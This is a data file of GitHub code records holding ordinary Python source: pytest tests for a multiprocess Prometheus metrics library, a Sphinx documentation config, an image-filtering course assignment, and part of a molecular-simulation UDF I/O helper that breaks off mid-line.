+{"seq_id":"25809931611","text":"from contextlib import nullcontext\nimport pickle\nimport random\nimport time\n\nfrom hypothesis import given, strategies as st\nfrom prometheus_client.registry import CollectorRegistry\nimport pytest\n\nfrom mpmetrics.metrics import Counter, Enum, Gauge, Summary, Histogram, _validate_exemplar\nfrom mpmetrics.atomic import AtomicUInt64\n\nfrom .common import heap, parallel, parallels, ParallelLoop\n\ndef test_exemplar_validation():\n    # 128 characters should not raise, even using characters larger than 1 byte.\n    _validate_exemplar({\n        'abcdefghijklmnopqrstuvwxyz': '26+16 characters',\n        'x123456': '7+15 characters',\n        'zyxwvutsrqponmlkjihgfedcba': '26+16 characters',\n        'unicode': '7+15 chars    平',\n    })\n\n    # 129 characters in total should fail.\n    with pytest.raises(ValueError):\n        _validate_exemplar({\n            'abcdefghijklmnopqrstuvwxyz': '26+16 characters',\n            'x1234567': '8+15 characters',\n            'zyxwvutsrqponmlkjihgfedcba': '26+16 characters',\n            'y123456': '7+15 characters',\n        })\n\n    with pytest.raises(ValueError):\n        _validate_exemplar({':o)': 'smile'})\n    with pytest.raises(ValueError):\n        _validate_exemplar({'1': 'number'})\n\n@pytest.fixture(scope='session')\ndef registry(heap):\n    class FakeRegistry:\n        def register(self, collector):\n            pass\n\n    return FakeRegistry()\n\ndef get_sample_value(collector, name, labels={}):\n    for metric in collector.collect():\n        for s in metric.samples:\n            if s.name == name and s.labels == labels:\n                return s.value\n    return None\n\ndef get_sample_exemplar(collector, name, labels={}):\n    for metric in collector.collect():\n        for s in metric.samples:\n            if s.name == name and s.labels == labels:\n                return s.exemplar\n    return None\n\nclass TestCounter:\n    @pytest.fixture\n    def counter(self, registry):\n        return Counter('c_total', \"help\", registry=registry)\n\n    def test_increment(self, counter):\n        assert get_sample_value(counter, 'c_created')\n        assert get_sample_value(counter, 'c_total') == 0\n        assert get_sample_exemplar(counter, 'c_total') is None\n        counter.inc()\n        assert get_sample_value(counter, 'c_total') == 1\n        counter.inc(7, {'foo': 'bar'})\n        assert get_sample_value(counter, 'c_total') == 8\n        exemplar = get_sample_exemplar(counter, 'c_total')\n        assert exemplar.labels == {'foo': 'bar'}\n        assert exemplar.value == 7\n        assert exemplar.timestamp\n\n        with pytest.raises(OverflowError):\n            counter.inc(AtomicUInt64.max)\n\n    @given(st.integers(max_value=-1))\n    def test_negative_increment_raises(self, registry, amount):\n        counter = Counter('c_total', \"help\", registry=registry)\n        with pytest.raises(ValueError):\n            counter.inc(amount)\n\n    def test_exceptions(self, counter):\n        for exception in (ValueError, TypeError):\n            try:\n                with counter.count_exceptions(ValueError):\n                    raise exception\n            except:\n                pass\n\n        assert get_sample_value(counter, 'c_total') == 1\n\n        for x in range(2):\n            try:\n                counter.count_exceptions(ZeroDivisionError)(lambda: 1/x)()\n            except:\n                pass\n\n        assert get_sample_value(counter, 'c_total') == 2\n\n    class ConcurrentTest(ParallelLoop):\n        def __init__(self, counter, parallel):\n            super().__init__(parallel)\n            self.counter = counter\n\n        def loop(self, n):\n            self.counter.inc()\n\n        def final(self):\n            assert get_sample_value(self.counter, 'c_total') == self.total\n\n    def test_concurrent(self, counter, parallel):\n        self.ConcurrentTest(counter, parallel).run()\n\nclass TestGauge:\n    @pytest.fixture\n    def gauge(self, registry):\n        return Gauge('g', 'help', registry=registry)\n\n    def test_gauge(self, gauge):\n        assert get_sample_value(gauge, 'g') == 0\n        gauge.inc()\n        assert get_sample_value(gauge, 'g') == 1\n        gauge.dec(3)\n        assert get_sample_value(gauge, 'g') == -2\n        gauge.set(9)\n        assert get_sample_value(gauge, 'g') == 9\n\n    def test_inprogress(self, gauge):\n        @gauge.track_inprogress()\n        def test():\n            assert get_sample_value(gauge, 'g') == 1\n            with gauge.track_inprogress():\n                assert get_sample_value(gauge, 'g') == 2\n                raise Exception\n            assert get_sample_value(gauge, 'g') == 1\n\n        try:\n            test()\n        except:\n            pass\n        assert get_sample_value(gauge, 'g') == 0\n\n    class ConcurrentTest(ParallelLoop):\n        def __init__(self, gauge, parallel):\n            super().__init__(parallel)\n            self.gauge = gauge\n\n        def loop(self, n):\n            self.gauge.inc(1)\n\n        def final(self):\n            assert get_sample_value(self.gauge, 'g') == self.total\n\n    def test_concurrent(self, gauge, parallel):\n        self.ConcurrentTest(gauge, parallel).run()\n\nclass TestSummary:\n    @pytest.fixture\n    def summary(self, registry):\n        return Summary('s', 'help', registry=registry)\n\n    def test_summary(self, summary):\n        assert get_sample_value(summary, 's_created')\n        assert get_sample_value(summary, 's_count') == 0\n        assert get_sample_value(summary, 's_sum') == 0\n        summary.observe(10)\n        assert get_sample_value(summary, 's_count') == 1\n        assert get_sample_value(summary, 's_sum') == 10\n\n    class ConcurrentTest(ParallelLoop):\n        def __init__(self, summary, parallel):\n            super().__init__(parallel)\n            self.summary = summary\n\n        def get_samples(self):\n            metric = next(self.summary.collect())\n            for s in metric.samples:\n                if s.name.endswith('s_count'):\n                    count = s.value\n                elif s.name.endswith('s_sum'):\n                    sum = s.value\n            return count, sum\n\n        def loop(self, n):\n            self.summary.observe(1)\n\n        def check(self):\n            count, sum = self.get_samples()\n            assert count == sum\n\n        def final(self):\n            count, sum = self.get_samples()\n            assert count == self.total\n            assert sum == self.total\n\n    def test_concurrent(self, summary, parallel):\n        self.ConcurrentTest(summary, parallel).run()\n\nclass TestHistogram:\n    @pytest.fixture\n    def histogram(self, registry):\n        return Histogram('h', 'help', registry=registry)\n\n    @pytest.fixture\n    def labels(self, registry):\n        return Histogram('h', 'help', ['l'], registry=registry)\n\n    def test_histogram(self, histogram):\n        assert get_sample_value(histogram, 'h_created')\n        assert get_sample_value(histogram, 'h_bucket', {'le': '1.0'}) == 0\n        assert get_sample_value(histogram, 'h_bucket', {'le': '2.5'}) == 0\n        assert get_sample_value(histogram, 'h_bucket', {'le': '5.0'}) == 0\n        assert get_sample_value(histogram, 'h_bucket', {'le': 'inf'}) == 0\n        assert get_sample_value(histogram, 'h_count') == 0\n        assert get_sample_value(histogram, 'h_sum') == 0\n        for le in ('1.0', '2.5', '5.0', 'inf'):\n            assert get_sample_exemplar(histogram, 'h_bucket', {'le': le}) is None\n\n        histogram.observe(2, {'foo': 'bar'})\n        assert get_sample_value(histogram, 'h_bucket', {'le': '1.0'}) == 0\n        assert get_sample_value(histogram, 'h_bucket', {'le': '2.5'}) == 1\n        assert get_sample_value(histogram, 'h_bucket', {'le': '5.0'}) == 1\n        assert get_sample_value(histogram, 'h_bucket', {'le': 'inf'}) == 1\n        assert get_sample_value(histogram, 'h_count') == 1\n        assert get_sample_value(histogram, 'h_sum') == 2\n        exemplar = get_sample_exemplar(histogram, 'h_bucket', {'le': '2.5'})\n        assert exemplar.labels == {'foo': 'bar'}\n        assert exemplar.value == 2\n        assert exemplar.timestamp\n\n        histogram.observe(2.5, {'foo': 'baz'})\n        assert get_sample_value(histogram, 'h_bucket', {'le': '1.0'}) == 0\n        assert get_sample_value(histogram, 'h_bucket', {'le': '2.5'}) == 2\n        assert get_sample_value(histogram, 'h_bucket', {'le': '5.0'}) == 2\n        assert get_sample_value(histogram, 'h_bucket', {'le': 'inf'}) == 2\n        assert get_sample_value(histogram, 'h_count') == 2\n        assert get_sample_value(histogram, 'h_sum') == 4.5\n        assert get_sample_exemplar(histogram, 'h_bucket', {'le': '2.5'}).labels['foo'] == 'baz'\n\n        histogram.observe(float(\"inf\"))\n        assert get_sample_value(histogram, 'h_bucket', {'le': '1.0'}) == 0\n        assert get_sample_value(histogram, 'h_bucket', {'le': '2.5'}) == 2\n        assert get_sample_value(histogram, 'h_bucket', {'le': '5.0'}) == 2\n        assert get_sample_value(histogram, 'h_bucket', {'le': 'inf'}) == 3\n        assert get_sample_value(histogram, 'h_count') == 3\n        assert get_sample_value(histogram, 'h_sum') == float(\"inf\")\n\n    def test_setting_buckets(self, registry):\n        def get_buckets(h):\n            buckets = []\n            for sample in next(h.collect()).samples:\n                if sample.name != 'h_bucket':\n                    continue\n                buckets.append(float(sample.labels['le']))\n            return buckets\n\n        h = Histogram('h', 'help', registry=registry, buckets=[0, 1, 2])\n        assert get_buckets(h) == [0.0, 1.0, 2.0, float(\"inf\")]\n\n        h = Histogram('h', 'help', registry=registry, buckets=[0, 1, 2, float(\"inf\")])\n        assert get_buckets(h) == [0.0, 1.0, 2.0, float(\"inf\")]\n\n        with pytest.raises(ValueError):\n            Histogram('h', 'help', registry=registry, buckets=[])\n\n        with pytest.raises(ValueError):\n            Histogram('h', 'help', registry=registry, buckets=[float('inf')])\n\n        with pytest.raises(ValueError):\n            Histogram('h', 'help', registry=registry, buckets=[3, 1])\n\n    def test_invalid_labels(self, registry):\n        with pytest.raises(ValueError):\n            Histogram('h', 'help', registry=registry, labelnames=['le'])\n\n    def test_labels(self, labels):\n        labels.labels('a').observe(2)\n        assert get_sample_value(labels, 'h_bucket', {'le': '1.0', 'l': 'a'}) == 0\n        assert get_sample_value(labels, 'h_bucket', {'le': '2.5', 'l': 'a'}) == 1\n        assert get_sample_value(labels, 'h_bucket', {'le': '5.0', 'l': 'a'}) == 1\n        assert get_sample_value(labels, 'h_bucket', {'le': 'inf', 'l': 'a'}) == 1\n        assert get_sample_value(labels, 'h_count', {'l': 'a'}) == 1\n        assert get_sample_value(labels, 'h_sum', {'l': 'a'}) in (2, None)\n\n    class ConcurrentTest(ParallelLoop):\n        def __init__(self, histogram, parallel):\n            super().__init__(parallel)\n            self.histogram = histogram\n\n        def get_sample(self):\n            metric = next(self.histogram.collect())\n            buckets = []\n            for s in metric.samples:\n                if s.name.endswith('h_bucket'):\n                    buckets.append(s.value)\n                elif s.name.endswith('h_sum'):\n                    sum = s.value\n                elif s.name.endswith('h_count'):\n                    count = s.value\n            return buckets, sum, count\n\n        def loop(self, n):\n            self.histogram.observe(random.choice(self.histogram.thresholds[:-1]))\n\n        def check(self):\n            buckets, sum, count = self.get_sample()\n            prev = 0\n            bucket_sum = 0\n            for bucket, threshold in zip(buckets, self.histogram.thresholds):\n                if threshold == float('inf'):\n                    break\n                bucket_sum += (bucket - prev) * threshold\n                prev = bucket\n            assert sum == pytest.approx(bucket_sum)\n            assert buckets[-1] == count\n\n        def final(self):\n            buckets, sum, count = self.get_sample()\n            assert buckets[-1] == count == self.total\n\n    def test_concurrent(self, histogram, parallel):\n        self.ConcurrentTest(histogram, parallel).run()\n\n@pytest.mark.parametrize(('cls', 'name'), (\n    (Gauge, 'm'),\n    (Summary, 'm_sum'),\n    (Histogram, 'm_sum'))\n)\ndef test_time(registry, cls, name):\n    metric = cls('m', 'help', registry=registry)\n    with metric.time():\n        time.sleep(0.001)\n    assert get_sample_value(metric, name) >= 0.001\n\n    metric = cls('m', 'help', registry=registry)\n    metric.time()(time.sleep)(0.001)\n    assert get_sample_value(metric, name) >= 0.001\n\n@pytest.mark.parametrize('cls', (Counter, Gauge, Summary, Histogram))\ndef test_pickle(registry, cls):\n    metric = cls('name', 'help', labelnames=('l'), registry=registry)\n    pickle.loads(pickle.dumps(metric.labels('x')))\n\nclass TestEnum:\n    @pytest.fixture\n    def enum(self, registry):\n        return Enum('e', 'help', states=['a', 'b', 'c'], registry=registry)\n\n    @pytest.fixture\n    def labels(self, registry):\n        return Enum('el', 'help', ['l'], states=['a', 'b', 'c'], registry=registry)\n\n    def test_enum(self, enum, registry):\n        assert get_sample_value(enum, 'e', {'e': 'a'}) == 1\n        assert get_sample_value(enum, 'e', {'e': 'b'}) == 0\n        assert get_sample_value(enum, 'e', {'e': 'c'}) == 0\n\n        enum.state('b')\n        assert get_sample_value(enum, 'e', {'e': 'a'}) == 0\n        assert get_sample_value(enum, 'e', {'e': 'b'}) == 1\n        assert get_sample_value(enum, 'e', {'e': 'c'}) == 0\n\n        with pytest.raises(ValueError):\n            enum.state('d')\n\n        with pytest.raises(TypeError):\n            Enum('e', 'help', registry=registry)\n\n    def test_labels(self, labels):\n        labels.labels('a').state('c')\n        assert get_sample_value(labels, 'el', {'l': 'a', 'el': 'a'}) == 0\n        assert get_sample_value(labels, 'el', {'l': 'a', 'el': 'b'}) == 0\n        assert get_sample_value(labels, 'el', {'l': 'a', 'el': 'c'}) == 1\n\n    def test_overlapping_labels(self, registry):\n        with pytest.raises(ValueError):\n            Enum('e', 'help', registry=registry, labelnames=['e'])\n\n    class ConcurrentTest(ParallelLoop):\n        def __init__(self, enum, parallel):\n            super().__init__(parallel)\n            self.enum = enum\n\n        def loop(self, n):\n            self.enum.state(['a', 'b', 'c'][n % 3])\n\n        def final(self):\n            for metric in self.enum.collect():\n                assert sum(sample.value for sample in metric.samples) == 1\n\n    def test_concurrent(self, enum, parallel):\n        self.ConcurrentTest(enum, parallel).run()\n\nclass TestLabelCollector:\n    @pytest.fixture\n    def counter(self, registry):\n        return Counter('c_total', \"help\", labelnames=['l'], registry=registry)\n\n    @pytest.fixture\n    def two_labels(self, registry):\n        return Counter('two', \"help\", labelnames=['a', 'b'], registry=registry)\n\n    def test_child(self, counter, two_labels):\n        counter.labels('x').inc()\n        assert get_sample_value(counter, 'c_total', {'l': 'x'}) == 1\n        two_labels.labels('x', 'y').inc(2)\n        assert get_sample_value(two_labels, 'two_total', {'a': 'x', 'b': 'y'}) == 2\n\n    def test_incorrect_label_count_raises(self, counter):\n        with pytest.raises(ValueError):\n            counter.labels()\n\n        with pytest.raises(ValueError):\n            counter.labels('a', 'b')\n\n    def test_labels_on_labels(self, counter):\n        with pytest.raises(AttributeError):\n            counter.labels('a').labels('b')\n\n    def test_labels_coerced_to_string(self, counter):\n        counter.labels(None).inc()\n        counter.labels(l=None).inc()\n        assert get_sample_value(counter, 'c_total', {'l': 'None'}) == 2\n\n    def test_non_string_labels_raises(self, counter):\n        class Test:\n            __str__ = None\n\n        with pytest.raises(TypeError):\n            counter.labels(Test())\n\n        with pytest.raises(TypeError):\n            counter.labels(l=Test())\n\n    def test_namespace_subsystem_concatenated(self, registry):\n        c = Counter('c_total', 'help', namespace='a', subsystem='b', registry=registry)\n        assert c._name == 'a_b_c'\n\n    def test_labels_by_kwarg(self, counter, two_labels):\n        counter.labels(l='x').inc()\n        assert get_sample_value(counter, 'c_total', {'l': 'x'}) == 1\n        for kwargs in ({'l': 'x', 'm': 'y'}, {'m': 'y'}, {}):\n            with pytest.raises(ValueError):\n                counter.labels(**kwargs)\n\n        two_labels.labels(a='x', b='y').inc()\n        assert get_sample_value(two_labels, 'two_total', {'a': 'x', 'b': 'y'}) == 1\n        for kwargs in (\n            { 'a': 'x', 'b': 'y', 'c': 'z' },\n            { 'a': 'x', 'c': 'z' },\n            { 'b': 'y', 'c': 'z' },\n            { 'c': 'z' }):\n            with pytest.raises(ValueError):\n                counter.labels(**kwargs)\n\n        with pytest.raises(ValueError):\n            two_labels.labels({'a': 'x'}, b='y')\n\n    def test_invalid_names_raise(self, registry):\n        for kwargs in (\n            { 'name': '' },\n            { 'name': '^' },\n            { 'name': '', 'namespace': '&' },\n            { 'name': '', 'subsystem': '(' },\n            { 'name': 'c_total', 'labelnames': ['^'] },\n            { 'name': 'c_total', 'labelnames': ['a:b'] },\n            { 'name': 'c_total', 'labelnames': ['__reserved'] }):\n            with pytest.raises(ValueError):\n                Counter(**kwargs, documentation='', registry=registry)\n\n        with pytest.raises(ValueError):\n            Summary('c_total', '', labelnames=['quantile'], registry=registry)\n\n    def test_empty_labels_list(self, registry):\n        h = Histogram('h', 'help', [], registry=registry)\n        assert get_sample_value(h, 'h_count') == 0\n\n    def test_unit_appended(self, registry):\n        h = Histogram('h', 'help', [], registry=registry, unit=\"seconds\")\n        assert h._name == 'h_seconds'\n\n    def test_unit_notappended(self, registry):\n        h = Histogram('h_seconds', 'help', [], registry=registry, unit=\"seconds\")\n        assert h._name == 'h_seconds'\n\n    def test_no_units_for_info_enum(self, registry):\n        #with pytest.raises(ValueError):\n        #    Info('foo', 'help', unit=\"x\")\n\n        with pytest.raises(ValueError):\n            Enum('foo', 'help', unit=\"x\")\n\n    def test_name_cleanup_before_unit_append(self, registry):\n        c = Counter('b_total', 'help', unit=\"total\", labelnames=['l'], registry=registry)\n        assert c._name == 'b_total'\n\n    class ConcurrentTest(ParallelLoop):\n        def __init__(self, counter, parallel):\n            super().__init__(parallel)\n            self.counter = counter\n\n        def loop(self, n):\n            self.counter.labels(n % self.n).inc()\n\n        def final(self):\n            for i in range(self.n):\n                assert get_sample_value(self.counter, 'c_total', {'l': str(i)}) == self.count\n\n    def test_concurrent(self, counter, parallel):\n        self.ConcurrentTest(counter, parallel).run()\n","repo_name":"Forty-Bot/mpmetrics","sub_path":"tests/metric_test.py","file_name":"metric_test.py","file_ext":"py","file_size_in_byte":18910,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"8503310894","text":"# Configuration file for the Sphinx documentation builder.\n#\n# This file only contains a selection of the most common options. For a full\n# list see the documentation:\n# https://www.sphinx-doc.org/en/master/usage/configuration.html\n\nfrom __future__ import annotations\n\nfrom datetime import datetime\n\n# -- Project information -----------------------------------------------------\nproject = \"pywaterflood\"\ncopyright = f\"2021-{datetime.now().year}, Frank Male\"\nauthor = \"Frank Male\"\n\n# -- General configuration ---------------------------------------------------\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = [\n    \"myst_parser\",\n    \"autoapi.extension\",\n    \"sphinx.ext.mathjax\",\n    \"sphinx.ext.napoleon\",\n    \"sphinx.ext.viewcode\",\n    \"sphinx_copybutton\",\n    \"sphinx_design\",\n]\nautoapi_dirs = [\"../python/pywaterflood\"]\nautoapi_options = [\n    \"members\",\n    \"inherited-members\",\n    \"undoc-members\",\n    \"show-inheritance\",\n    \"show-module-summary\",\n    \"special-members\",\n]\n\n\n# myst_nb configuration\nnb_execution_mode = \"off\"\nnb_execution_timeout = 60\nnb_output_stderr = \"remove\"\nmyst_enable_extensions = [\n    \"colon_fence\",\n    \"deflist\",\n    \"amsmath\",\n    \"dollarmath\",\n]\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This pattern also affects html_static_path and html_extra_path.\nexclude_patterns = [\"_build\", \"Thumbs.db\", \".DS_Store\", \".ipynb_checkpoints\"]\n\n# -- Options for HTML output -------------------------------------------------\n\n# The theme to use for HTML and HTML Help pages.  See the documentation for\n# a list of builtin themes.\n#\nhtml_theme = \"furo\"\nhtml_static_path: list[str] = []\nhtml_css_files = [\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css\"]\n","repo_name":"frank1010111/pywaterflood","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"21"}
+{"seq_id":"19780565607","text":"\"\"\"Image Processing assignment from course SCC0251.\n\nAssignment data:\n    Title: \"Assignment 2: Image Enhancement and Filtering\"\n    Year: 2019 (Semester 01 / Fall)\n\nStudent data:\n    Name: Felipe Alves Siqueira\n    NoUSP: 9847706\n    Undergraduation Student\n\"\"\"\nimport typing as t\n\nimport numpy as np\nimport imageio\nimport matplotlib.pyplot as plt\n\n\nclass ImageEnhancer:\n    \"\"\"Various image enhancing methods.\"\"\"\n\n    def __init__(self,\n                 image: np.ndarray,\n                 method: str,\n                 threshold: t.Optional[float] = None,\n                 filter_size: t.Optional[int] = None,\n                 filter_weights: t.Optional[np.ndarray] = None):\n        \"\"\"Enhance an image using various techniques.\"\"\"\n        if not isinstance(image, np.ndarray):\n            raise TypeError(\"'image' must be a np.array.\")\n\n        if not isinstance(method, str):\n            raise TypeError(\"'method' type must be string.\")\n\n        self.image = image\n        self.transformed_image = None\n        self.method = method\n        self.threshold = threshold\n        self.filter_weights = filter_weights\n        self.filter_size = filter_size\n\n    def limiarization(self) -> np.ndarray:\n        \"\"\"Find the optimal threshold to separate pixels in an image.\"\"\"\n        if not isinstance(self.threshold, (float, int)):\n            raise TypeError(\"'threshold' must be integer or float, \"\n                            \"received type {}\".format(type(self.threshold)))\n\n        prev_threshold = self.threshold + 0.5\n        while abs(prev_threshold - self.threshold) >= 0.5:\n            mean_1 = self.image[self.image > self.threshold].mean()\n            mean_2 = self.image[self.image <= self.threshold].mean()\n\n            prev_threshold = self.threshold\n            self.threshold = 0.5 * (mean_1 + mean_2)\n\n        self.transformed_image = (self.image > self.threshold).astype(np.uint8)\n\n        return self.transformed_image\n\n    def filtering_1d(self, limiarize: bool = False) -> np.ndarray:\n        \"\"\"Apply a 1D filter in image.\"\"\"\n        if not isinstance(self.filter_weights, np.ndarray):\n            raise TypeError(\"'filter weights' must be an np.ndarray, \"\n                            \"got {}\".format(type(self.filter_weights)))\n\n        if not isinstance(self.filter_size, (float, int)):\n            raise TypeError(\"'filter_size' must be integer or float, \"\n                            \"received type {}\".format(type(self.filter_size)))\n\n        img_shape = self.image.shape\n\n        flatten_copy = self.image.ravel()\n\n        self.transformed_image = np.zeros(self.image.size).astype(float)\n\n        half_filter_size = self.filter_size // 2\n\n        for index in range(self.transformed_image.size):\n            image_piece = np.take(\n                flatten_copy,\n                range(index - half_filter_size, index + half_filter_size + 1),\n                mode=\"wrap\")\n\n            self.transformed_image[index] = np.dot(image_piece,\n                                                   self.filter_weights)\n\n        self.transformed_image = self.transformed_image.reshape(img_shape)\n\n        if limiarize:\n            aux_img = self.image\n            self.image = self.transformed_image\n            self.limiarization()\n            self.image = aux_img\n\n        return self.transformed_image\n\n    def filtering_2d(self, limiarize: bool = True) -> np.ndarray:\n        \"\"\"Apply a 2D filter in image.\"\"\"\n        if not isinstance(self.filter_weights, np.ndarray):\n            raise TypeError(\"'filter weights' must be an np.ndarray, \"\n                            \"got {}\".format(type(self.filter_weights)))\n\n        if not isinstance(self.threshold, (float, int)):\n            raise TypeError(\"'threshold' must be integer or float, \"\n                            \"received type {}\".format(type(self.threshold)))\n\n        if not isinstance(self.filter_size, (float, int)):\n            raise TypeError(\"'filter_size' must be integer or float, \"\n                            \"received type {}\".format(type(self.filter_size)))\n\n        hfs = self.filter_size // 2\n\n        padded_img = np.pad(\n            self.image,\n            pad_width=hfs,\n            mode=\"symmetric\",\n        )\n\n        num_row, num_col = self.image.shape\n\n        self.transformed_image = np.array([[\n            np.multiply(\n                self.filter_weights,\n                padded_img[(x - hfs):(x + hfs + 1), (y - hfs):(y + hfs + 1)],\n            ).sum() for y in range(hfs, num_col + hfs)\n        ] for x in range(hfs, num_row + hfs)])\n\n        if limiarize:\n            aux_img = self.image\n            self.image = self.transformed_image\n            self.limiarization()\n            self.image = aux_img\n\n        return self.transformed_image\n\n    def median_filter(self) -> np.ndarray:\n        \"\"\"Apply median filtering in the image.\"\"\"\n        if not isinstance(self.filter_size, (float, int)):\n            raise TypeError(\"'filter_size' must be integer or float, \"\n                            \"received type {}\".format(type(self.filter_size)))\n\n        hfs = self.filter_size // 2\n\n        num_row, num_col = self.image.shape\n\n        padded_img = np.pad(\n            self.image,\n            pad_width=hfs,\n            mode=\"constant\",\n            constant_values=0,\n        )\n\n        self.transformed_image = np.array([[\n            np.median(\n                padded_img[(x - hfs):(x + hfs + 1), (y - hfs):(y + hfs + 1)])\n            for y in range(hfs, num_col + hfs)\n        ] for x in range(hfs, num_row + hfs)])\n\n        return self.transformed_image\n\n    def transform(self):\n        \"\"\"Transform given image with selected method.\"\"\"\n        if self.method == \"limiarization\":\n            self.limiarization()\n\n        elif self.method == \"1D filtering\":\n            self.filtering_1d()\n\n        elif self.method == \"2D filtering\":\n            self.filtering_2d()\n\n        elif self.method == \"2D median\":\n            self.median_filter()\n\n        else:\n            raise ValueError(\"Unknown method.\")\n\n    def plot(self):\n        \"\"\"Plot original image and reference image side-by-side.\"\"\"\n        plt.figure(figsize=(12, 12))\n        plt.subplot(121)\n        plt.title(\"Reference\")\n        plt.imshow(self.image, cmap=\"gray\")\n\n        plt.subplot(122)\n        plt.title(\"Transformed\")\n        plt.imshow(self.transformed_image, cmap=\"gray\")\n\n        plt.show()\n\n    def rescale(self,\n                val_min: t.Union[int, float] = 0,\n                val_max: t.Union[int, float] = 255,\n                dtype: t.Type = np.uint8):\n        \"\"\"Rescale transformed image values to [val_min, val_max] interval.\"\"\"\n        if not isinstance(self.transformed_image, np.ndarray):\n            raise TypeError(\"First 'transform' the fitted image \"\n                            \"before rescaling.\")\n\n        img = self.transformed_image.astype(float)\n\n        img_min = img.min()\n        img_max = img.max()\n\n        if img_min == img_max:\n            return np.full(img.shape, val_min)\n\n        img = (\n            val_min +\n            (val_max - val_min) * np.divide(img - img_min, img_max - img_min))\n\n        self.transformed_image = img.astype(dtype)\n        return self.transformed_image\n\n    def compare(self) -> float:\n        \"\"\"Compare reference and transformed images and return RMSE.\"\"\"\n        if not isinstance(self.image, np.ndarray):\n            raise TypeError(\"'image' attribute type must be a np.ndarray, \"\n                            \"got {}\".format(type(self.image)))\n\n        if self.transformed_image is None:\n            raise TypeError(\"First call 'transform' before comparing the \"\n                            \"transformed image.\")\n\n        num_row, num_col = self.image.shape\n\n        flt_original_img = self.image.astype(float)\n        flt_modified_img = self.transformed_image.astype(float)\n\n        rmse = np.sqrt(\n            np.power(flt_original_img - flt_modified_img, 2).sum() /\n            (num_row * num_col))\n\n        return rmse\n\n\nif __name__ == \"__main__\":\n    subpath = \"./documents/Casos_Teste\"\n\n    def get_parameters(subpath: str = None):\n        \"\"\"Get test cases arguments.\"\"\"\n\n        def get_str(dtype: t.Type = str, split: bool = False) -> t.Any:\n            if split:\n                return np.array(input().strip().split()).astype(dtype)\n\n            return dtype(input().strip())\n\n        METHOD_NAME = {\n            1: \"limiarization\",\n            2: \"1D filtering\",\n            3: \"2D filtering\",\n            4: \"2D median\",\n        }\n\n        filepath = get_str()\n        if subpath:\n            filepath = \"/\".join((subpath, filepath))\n\n        args = {\n            \"image\": imageio.imread(filepath),\n            \"method\": METHOD_NAME.get(get_str(dtype=int)),\n        }\n\n        method = args[\"method\"]\n\n        if method == \"limiarization\":\n            args[\"threshold\"] = get_str(dtype=float)\n\n        elif method == \"1D filtering\":\n            args[\"filter_size\"] = get_str(dtype=int)\n            args[\"filter_weights\"] = get_str(dtype=float, split=True)\n\n        elif method == \"2D filtering\":\n            f_size = args[\"filter_size\"] = get_str(dtype=int)\n\n            args[\"filter_weights\"] = np.array(\n                [get_str(dtype=float, split=True) for _ in range(f_size)])\n\n            args[\"threshold\"] = get_str(dtype=float)\n\n        elif method == \"2D median\":\n            args[\"filter_size\"] = get_str(dtype=int)\n\n        else:\n            raise ValueError(\"Unknown method.\")\n\n        return args\n\n    model = ImageEnhancer(**get_parameters(subpath=subpath))\n    model.transform()\n    model.rescale(val_min=model.image.min(), val_max=model.image.max())\n    rmse = model.compare()\n\n    print(\"{:.4f}\".format(rmse))\n\n    model.plot()\n","repo_name":"FelSiq/image-processing-assignments","sub_path":"assignments/assignment-02/assignment02.py","file_name":"assignment02.py","file_ext":"py","file_size_in_byte":9703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"42945339384","text":"import sys\nimport os\nscrdir = os.path.abspath(os.path.dirname(__file__))\nsys.path.append(scrdir)\nimport math\nimport subprocess\nimport re\nimport time\nimport copy\nimport molcalc as molc\ntry:\n    from UDFManager import *\nexcept:\n    pass\ntry:\n    import numpy as np\nexcept:\n    pass\n\nclass udf_io(molc.molcalc):\n    def __init__(self):\n        self.verflag = True\n\n    def getposatom(self, uobj, indexatom):\n        # UDF operation\n        # get the position of a molecule\n            i = indexatom\n            list = uobj.get(\"Structure.Position.mol[].atom[]\", [i])\n            position = np.array(list)\n\n            return position\n\n    def getposmolrec(self, uobj, indexMol, record):\n        # UDF operation\n        # get the position of a molecule\n            uobj.jump(record)\n            i = indexMol\n            aaa = uobj.get(\"Structure.Position.mol[\" + str(i) + \"].atom[]\")\n            position = np.array(aaa)\n\n            return position\n\n    def getposmol(self, uobj, indexMol):\n        # UDF operation\n        # get the position of a molecule\n            i = indexMol\n            list = uobj.get(\"Structure.Position.mol[\" + str(i) + \"].atom[]\")\n            position = np.array(list)\n\n            return position\n\n    def getnameAtom(self, uobj, indexMol):\n            # get atom name\n            i = indexMol\n            atom = uobj.get(\"Set_of_Molecules.molecule[].atom[].Atom_Name\", [i])\n            return atom\n\n    def getAtomtypename(self, uobj, indexMol):\n            # get atom name\n            i = indexMol\n            atomtype = uobj.get(\n                    \"Set_of_Molecules.molecule[].atom[].Atom_Type_Name\", [i])\n            return atomtype\n\n    def putPositionsMol(self, uobj, indexMol, position):\n        # ## put the position of the molecule to UDF\n        i = indexMol\n        numAtm = uobj.size(\"Structure.Position.mol[].atom[]\", [i])\n        for j in range(numAtm):\n            uobj.put(position[j, 0], \"Structure.Position.mol[].atom[].x\", [i, j])\n            uobj.put(position[j, 1], \"Structure.Position.mol[].atom[].y\", [i, j])\n            uobj.put(position[j, 2], \"Structure.Position.mol[].atom[].z\", [i, j])\n\n    def Exportpos(self, path, Rec, totalMol, uobj, oname):\n        # # Export position of mol\n        # head, ext = os.path.splitext(str(iname))\n        if os.path.exists(path + \"/pdb\") is False:\n            subprocess.call([\"mkdir\", path + \"/pdb\"])\n\n        out_file = path + \"/pdb/\" + str(oname)\n        print (out_file)\n\n        numlist = []\n        # get total atom\n        for i in range(totalMol):\n            numAtm = uobj.size(\"Structure.Position.mol[].atom[]\", [i])\n            numlist.append(numAtm)\n        totalAtm = sum(numlist)\n        print((\"totalAtom\", totalAtm))\n\n        f = open(out_file, \"w\")\n        print(totalAtm, file=f)\n        print(out_file, file=f)\n        f.close()\n\n        f = open(out_file, \"a+\")\n        uobj.jump(Rec)\n\n        mollist = [i for i in range(totalMol)]\n        for i in mollist:\n            Molnum = i\n            posMol = 